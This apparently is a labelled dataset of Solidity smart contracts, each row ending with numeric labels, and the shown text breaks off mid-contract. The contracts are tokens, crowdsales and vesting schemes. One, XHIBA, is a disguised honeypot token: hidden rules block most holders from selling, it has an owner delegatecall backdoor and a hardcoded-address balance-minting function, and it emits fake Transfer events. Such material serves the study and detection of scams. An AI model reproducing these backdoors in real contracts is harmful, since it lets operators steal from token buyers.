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pragma solidity ^0.4.11;
contract ERC20 {
function transfer(address _to, uint _value);
function balanceOf(address _owner) constant returns (uint balance);
}
contract IOU {
mapping (address => uint256) public iou_purchased;
mapping (address => uint256) public eth_sent;
uint256 public total_iou_available = 20000000000000000000;
uint256 public total_iou_purchased;
uint256 public total_iou_withdrawn;
uint256 public price_per_eth = 8600;
ERC20 public token = ERC20(0x0D8775F648430679A709E98d2b0Cb6250d2887EF);
address seller = 0x007937cd579875A1b9e4E485a49Ee8147BC03a37;
bool public halt_purchases;
function withdrawTokens() {
if(msg.sender != seller) throw;
token.transfer(seller, token.balanceOf(address(this)) - (total_iou_purchased - total_iou_withdrawn));
}
function haltPurchases() {
if(msg.sender != seller) throw;
halt_purchases = true;
}
function resumePurchases() {
if(msg.sender != seller) throw;
halt_purchases = false;
}
function updateAvailability(uint256 _iou_amount) {
if(msg.sender != seller) throw;
if(_iou_amount < total_iou_purchased) throw;
total_iou_available = _iou_amount;
}
function updatePrice(uint256 _price) {
if(msg.sender != seller) throw;
price_per_eth = _price;
}
function paySeller() {
if(msg.sender != seller) throw;
if(token.balanceOf(address(this)) < (total_iou_purchased - total_iou_withdrawn)) throw;
halt_purchases = true;
seller.transfer(this.balance);
}
function withdraw() payable {
if(block.number > 4199999 && iou_purchased[msg.sender] > token.balanceOf(address(this))) {
uint256 eth_to_refund = eth_sent[msg.sender];
if(eth_to_refund == 0 || iou_purchased[msg.sender] == 0) throw;
total_iou_purchased -= iou_purchased[msg.sender];
eth_sent[msg.sender] = 0;
iou_purchased[msg.sender] = 0;
msg.sender.transfer(eth_to_refund);
return;
}
if(token.balanceOf(address(this)) == 0 || iou_purchased[msg.sender] > token.balanceOf(address(this))) throw;
uint256 iou_to_withdraw = iou_purchased[msg.sender];
if(iou_to_withdraw == 0) throw;
iou_purchased[msg.sender] = 0;
eth_sent[msg.sender] = 0;
total_iou_withdrawn += iou_to_withdraw;
token.transfer(msg.sender, iou_to_withdraw);
}
function purchase() payable {
if(halt_purchases) throw;
uint256 iou_to_purchase = price_per_eth * msg.value;
if((total_iou_purchased + iou_to_purchase) > total_iou_available) throw;
iou_purchased[msg.sender] += iou_to_purchase;
eth_sent[msg.sender] += msg.value;
total_iou_purchased += iou_to_purchase;
}
function () payable {
if(msg.value == 0) {
withdraw();
}
else {
purchase();
}
}
} | 0 | 1,941 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
function TokenVesting(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable
)
public
{
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
emit Released(unreleased);
}
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
emit Revoked();
}
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(start)).div(duration);
}
}
}
contract VariableRateTokenVesting is TokenVesting {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
uint256[] public cumulativeRates;
uint256 public interval;
constructor(
address _beneficiary,
uint256 _start,
uint256[] _cumulativeRates,
uint256 _interval
) public
TokenVesting(_beneficiary, _start, 0, ~uint256(0), true)
{
for (uint256 i = 0; i < _cumulativeRates.length; ++i) {
require(_cumulativeRates[i] <= 100);
if (i > 0) {
require(_cumulativeRates[i] >= _cumulativeRates[i - 1]);
}
}
cumulativeRates = _cumulativeRates;
interval = _interval;
owner = 0x0298CF0d5B60a0aD885518adCB4c3fc49b36D347;
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
if (now < start) {
return 0;
}
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
uint256 timeSinceStart = now.sub(start);
uint256 currentPeriod = timeSinceStart.div(interval);
if (currentPeriod >= cumulativeRates.length) {
return totalBalance;
}
return totalBalance.mul(cumulativeRates[currentPeriod]).div(100);
}
}
contract BatchReleaser {
function batchRelease(address[] vestingContracts, ERC20Basic token) external {
for (uint256 i = 0; i < vestingContracts.length; i++) {
VariableRateTokenVesting vesting = VariableRateTokenVesting(vestingContracts[i]);
vesting.release(token);
}
}
} | 0 | 162 |
pragma solidity ^0.4.12;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract HasNoEther is Ownable {
function HasNoEther() payable {
require(msg.value == 0);
}
function() external {
}
function reclaimEther() external onlyOwner {
assert(owner.send(this.balance));
}
}
contract HasNoContracts is Ownable {
function reclaimContract(address contractAddr) external onlyOwner {
Ownable contractInst = Ownable(contractAddr);
contractInst.transferOwnership(owner);
}
}
contract HasNoTokens is Ownable {
function tokenFallback(address from_, uint256 value_, bytes data_) external {
revert();
}
function reclaimToken(address tokenAddr) external onlyOwner {
ERC20Basic tokenInst = ERC20Basic(tokenAddr);
uint256 balance = tokenInst.balanceOf(this);
tokenInst.transfer(owner, balance);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract DFSToken is MintableToken, HasNoEther, HasNoContracts, HasNoTokens {
using SafeMath for uint256;
string public name = "DFS";
string public symbol = "DFS";
uint256 public decimals = 18;
}
contract DFSCrowdsale is Ownable, HasNoTokens {
using SafeMath for uint256;
uint256 public constant MAXIMUM_SUPPLY = 50000000000000000000000000;
uint256 public constant OWNER_TOKENS = MAXIMUM_SUPPLY * 25 / 100;
uint256 public availableSupply;
uint256 public startTimestamp;
uint256 public endTimestamp;
uint256 public price;
DFSToken public dfs;
bool public finalized;
event LogSale(address indexed to, uint256 eth, uint256 tokens);
modifier crowdsaleIsRunning(){
require(crowdsaleRunning());
_;
}
function DFSCrowdsale(uint256 _startTimestamp, uint256 _endTimestamp, uint256 _price){
startTimestamp = _startTimestamp;
endTimestamp = _endTimestamp;
price = _price;
availableSupply = MAXIMUM_SUPPLY;
dfs = new DFSToken();
mintTokens(owner, OWNER_TOKENS);
}
function() payable crowdsaleIsRunning {
require(msg.value > 0);
uint256 tokens = price.mul(msg.value);
assert(tokens > 0);
require(availableSupply - tokens >= 0);
mintTokens(msg.sender, tokens);
LogSale(msg.sender, msg.value, tokens);
}
function crowdsaleRunning() constant public returns(bool){
return (now > startTimestamp) && (now <= endTimestamp) && (availableSupply > 0) && !finalized;
}
function mintTokens(address _to, uint256 _amount) private {
availableSupply = availableSupply.sub(_amount);
dfs.mint(_to, _amount);
}
function finalizeCrowdsale() public {
require ( (now > endTimestamp) || (availableSupply == 0) || (msg.sender == owner) );
finalized = dfs.finishMinting();
dfs.transferOwnership(owner);
}
function withdrawFunds(uint256 amount) public onlyOwner {
owner.transfer(amount);
}
} | 1 | 4,204 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract XHIBA {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,033 |
pragma solidity ^0.4.18;
interface TokenConfigInterface {
function admin() public returns(address);
function claimAdmin() public;
function transferAdminQuickly(address newAdmin) public;
function listPairForReserve(address reserve, address src, address dest, bool add) public;
function approveWithdrawAddress(address token, address addr, bool approve) public;
function addToken(address token) public;
function enableTokenTrade(address token) public;
function setTokenControlInfo(
address token,
uint minimalRecordResolution,
uint maxPerBlockImbalance,
uint maxTotalImbalance
) public;
}
contract TokenAdder {
TokenConfigInterface public network;
TokenConfigInterface public reserve;
TokenConfigInterface public conversionRate;
address public withdrawAddress;
address public ETH = 0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee;
address[] public newTokens = [
0x00f0ee6b27b759c9893ce4f094b49ad28fd15a23e4,
0x004156D3342D5c385a87D264F90653733592000581,
0x001a7a8bd9106f2b8d977e08582dc7d24c723ab0db,
0x00255aa6df07540cb5d3d297f0d0d4d84cb52bc8e6];
function TokenAdder(TokenConfigInterface _network,
TokenConfigInterface _reserve,
TokenConfigInterface _conversionRate,
address _withdrawAddress) public {
network = _network;
reserve = _reserve;
conversionRate = _conversionRate;
withdrawAddress = _withdrawAddress;
}
function listPairs() public {
address orgAdmin = network.admin();
network.claimAdmin();
for( uint i = 0 ; i < newTokens.length ; i++ ) {
network.listPairForReserve(reserve,ETH,newTokens[i],true);
network.listPairForReserve(reserve,newTokens[i],ETH,true);
}
network.transferAdminQuickly(orgAdmin);
require(orgAdmin == network.admin());
}
function approveWithdrawAddress() public {
address orgAdmin = reserve.admin();
reserve.claimAdmin();
for( uint i = 0 ; i < newTokens.length ; i++ ) {
reserve.approveWithdrawAddress(newTokens[i], withdrawAddress, true);
}
reserve.transferAdminQuickly(orgAdmin);
require(orgAdmin == reserve.admin());
}
function addTokens() public {
address orgAdmin = conversionRate.admin();
conversionRate.claimAdmin();
for( uint i = 0 ; i < newTokens.length ; i++ ) {
conversionRate.addToken(newTokens[i]);
conversionRate.enableTokenTrade(newTokens[i]);
}
conversionRate.transferAdminQuickly(orgAdmin);
require(orgAdmin == conversionRate.admin());
}
function setTokenControlInfos() public {
address orgAdmin = conversionRate.admin();
conversionRate.claimAdmin();
conversionRate.setTokenControlInfo(
0x00255aa6df07540cb5d3d297f0d0d4d84cb52bc8e6,
1000000000000000,
8000000000000000000000,
8000000000000000000000 );
conversionRate.setTokenControlInfo(
0x001a7a8bd9106f2b8d977e08582dc7d24c723ab0db,
100000000000000,
24000000000000000000000,
24000000000000000000000 );
conversionRate.setTokenControlInfo(
0x00f0ee6b27b759c9893ce4f094b49ad28fd15a23e4,
10000,
800000000000,
800000000000 );
conversionRate.setTokenControlInfo(
0x004156D3342D5c385a87D264F90653733592000581,
10000,
800000000000,
800000000000 );
conversionRate.transferAdminQuickly(orgAdmin);
require(orgAdmin == conversionRate.admin());
}
} | 1 | 3,834 |
pragma solidity ^0.4.16;
library Math {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Token {
uint256 public totalSupply;
uint256 public decimals;
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Cloud is Token {
using Math for uint256;
bool trading=false;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function transfer(address _to, uint256 _value) canTrade returns (bool success) {
require(_value > 0);
require(!frozenAccount[msg.sender]);
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) canTrade returns (bool success) {
require(_value > 0);
require(!frozenAccount[_from]);
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
modifier canTrade {
require(trading==true ||(canRelease==true && msg.sender==owner));
_;
}
function setTrade(bool allow) onlyOwner {
trading=allow;
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
event Invested(address investor, uint256 tokens);
uint256 public employeeShare=8;
address[4] employeeWallets = [0x9caeD53A6C6E91546946dD866dFD66c0aaB9f347,0xf1Df495BE71d1E5EdEbCb39D85D5F6b620aaAF47,0xa3C38bc8dD6e26eCc0D64d5B25f5ce855bb57Cd5,0x4d67a23b62399eDec07ad9c0f748D89655F0a0CB];
string public name;
string public symbol;
address public owner;
uint256 public tokensReleased=0;
bool canRelease=false;
function Cloud(
uint256 _initialAmount,
uint256 _decimalUnits,
string _tokenName,
string _tokenSymbol,
address ownerWallet
) {
owner=ownerWallet;
decimals = _decimalUnits;
totalSupply = _initialAmount*(10**decimals);
balances[owner] = totalSupply;
name = _tokenName;
symbol = _tokenSymbol;
}
function freezeAccount(address target, bool freeze) onlyOwner{
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function releaseTokens(bool allow) onlyOwner {
canRelease=allow;
}
function invest(address receiver, uint256 _value) onlyOwner returns (bool success) {
require(canRelease);
require(_value > 0);
uint256 numTokens = _value*(10**decimals);
uint256 employeeTokens = 0;
uint256 employeeTokenShare=0;
employeeTokens = numTokens.mul(employeeShare).div(100);
employeeTokenShare = employeeTokens.div(employeeWallets.length);
approve(owner,employeeTokens.add(numTokens));
for(uint i = 0; i < employeeWallets.length; i++)
{
require(transferFrom(owner, employeeWallets[i], employeeTokenShare));
}
require(transferFrom(owner, receiver, numTokens));
tokensReleased = tokensReleased.add(numTokens).add(employeeTokens.mul(4));
Invested(receiver,numTokens);
return true;
}
} | 1 | 3,528 |
pragma solidity ^0.4.16;
interface token {
function transfer(address receiver, uint amount) public;
}
contract Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public deadline;
uint public price;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
function Crowdsale () public {
beneficiary = 0x1e19E36928bA65184669d8A7e7A37d8B061B9022;
fundingGoal = 0.0022 * 1 ether;
deadline = now + 40 * 1 minutes;
price = 0.00058 * 1 ether;
tokenReward = token(0xe8EF8d9d9Ff515720A62d2E2f14f3b5b677C6670);
}
function () public payable {
require(!crowdsaleClosed);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
tokenReward.transfer(msg.sender, amount / price);
FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() public afterDeadline {
if (amountRaised >= fundingGoal){
fundingGoalReached = true;
GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
}
function safeWithdrawal() public afterDeadline {
if (!fundingGoalReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
if (fundingGoalReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
FundTransfer(beneficiary, amountRaised, false);
} else {
fundingGoalReached = false;
}
}
}
} | 0 | 617 |
pragma solidity ^0.4.18;
contract Utils {
ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
uint constant internal PRECISION = (10**18);
uint constant internal MAX_QTY = (10**28);
uint constant internal MAX_RATE = (PRECISION * 10**6);
uint constant internal MAX_DECIMALS = 18;
uint constant internal ETH_DECIMALS = 18;
mapping(address=>uint) internal decimals;
function setDecimals(ERC20 token) internal {
if (token == ETH_TOKEN_ADDRESS) decimals[token] = ETH_DECIMALS;
else decimals[token] = token.decimals();
}
function getDecimals(ERC20 token) internal view returns(uint) {
if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS;
uint tokenDecimals = decimals[token];
if(tokenDecimals == 0) return token.decimals();
return tokenDecimals;
}
function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(srcQty <= MAX_QTY);
require(rate <= MAX_RATE);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION;
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals)));
}
}
function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(dstQty <= MAX_QTY);
require(rate <= MAX_RATE);
uint numerator;
uint denominator;
if (srcDecimals >= dstDecimals) {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals)));
denominator = rate;
} else {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
